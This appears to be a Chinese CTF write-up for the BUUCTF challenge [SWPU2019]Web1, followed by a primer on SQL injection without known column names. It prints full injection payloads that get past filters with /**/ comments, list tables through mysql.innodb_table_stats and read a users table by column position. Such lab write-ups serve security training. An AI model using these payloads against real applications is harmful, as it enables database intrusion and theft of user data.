当前位置: 首页 > article >正文

4.buuctf [SWPU2019]Web1及知识点

进入题目页面如下

猜测是二次注入

先注册一个账号

再登录,页面如下

点击申请发布广告

页面如上,存在注入点,尝试

判读是整数型注入还是字符型注入

猜解字段数,尝试发现or,#,空格等被过滤了,只能一个一个试

使用联合查询试试

-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

居然有22个

测试后注入点在2处

爆出数据库名

1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

数据库名为web1

爆出表名

1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'

表名是abs和users

爆出字段内容

1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

终于得到了flag


无字段名注入

基本概念

在常规的 SQL 注入中,通常需要明确知道数据库表的字段名,然后通过构造恶意输入来干扰 SQL 语句的正常执行。而无字段名注入则是在不知道具体字段名的情况下,仍然能够实施注入攻击,获取数据库中的信息

产生原因

动态 SQL 语句构建:当开发人员在编写代码时,采用动态拼接 SQL 语句的方式,且对用户输入的验证和过滤不严格,就可能为无字段名注入提供机会。

通用查询接口:一些应用程序提供了通用的查询接口,允许用户输入条件进行数据查询,但没有对输入进行有效的限制,可以利用这个接口进行无字段名注入。

攻击原理

无字段名注入主要利用 SQL 语句的一些特性,如 ORDER BY 子句、GROUP BY 子句、LIMIT 子句等,结合盲注技术来逐步获取数据库信息。以下是几种常见的无字段名注入方法:

利用 ORDER BY 子句确定字段数量
SELECT * FROM users WHERE id = 1 ORDER BY 1 -- 正常返回
SELECT * FROM users WHERE id = 1 ORDER BY 2 -- 正常返回
SELECT * FROM users WHERE id = 1 ORDER BY 3 -- 报错

通过不断尝试不同的数字作为 ORDER BY 子句的参数,当返回报错时,说明表中的字段数量小于该数字,从而确定表中的字段数量。

利用 GROUP BY 子句和聚合函数获取数据

在确定了字段数量后,可以利用 GROUP BY 子句和聚合函数(如 COUNTSUM 等)来获取数据。例

SELECT COUNT(*), GROUP_CONCAT(column1, column2) FROM users GROUP BY id;

可以通过不断尝试不同的组合,结合盲注技术,逐步获取字段中的数据。

利用 LIMIT 子句逐行获取数据

在获取了表的字段数量后,可以使用 LIMIT 子句逐行获取数据。

SELECT * FROM users LIMIT 0, 1; -- 获取第一行数据
SELECT * FROM users LIMIT 1, 1; -- 获取第二行数据

http://www.kler.cn/a/548670.html

相关文章:

  • matlab飞行姿态pid控制
  • Ubuntu 下 nginx-1.24.0 源码分析 -ngx_ssl_error 函数
  • HAProxy 实现 MySQL 服务器负载均衡实验
  • Vue 发送 PDF 文件链接到 WinForm 程序进行打印
  • 如何通过5G和边缘计算提升工业远程运维效能?
  • 神经网络新手入门(4)Transformer的创世纪(2017)
  • Win10下安装 Redis
  • 【云安全】云原生- K8S kubeconfig 文件泄露
  • 147,[2] BUUCTF WEB [BSidesCF 2019]Kookie
  • 算法1-1 玩具谜题
  • 2.buuctf [CISCN 2019 初赛]Love Math
  • c++中std::thread构造函数的注意事项
  • 2.4.2 常量的定义与使用
  • sql注入中information_schema被过滤的问题
  • windows使用中碰到的一些问题
  • 基于 Ollama 工具的 LLM 大语言模型如何部署,以 DeepSeek 14B 本地部署为例
  • MATLAB计算反映热需求和能源消耗的度数日指标(HDD+CDD)(全代码)
  • 循环学习率CLR——Cyclical Learning Rates
  • 解决中文乱码:字符编码全攻略 - ASCII、Unicode、UTF-8、GB2312详解
  • postgresql认证怎么考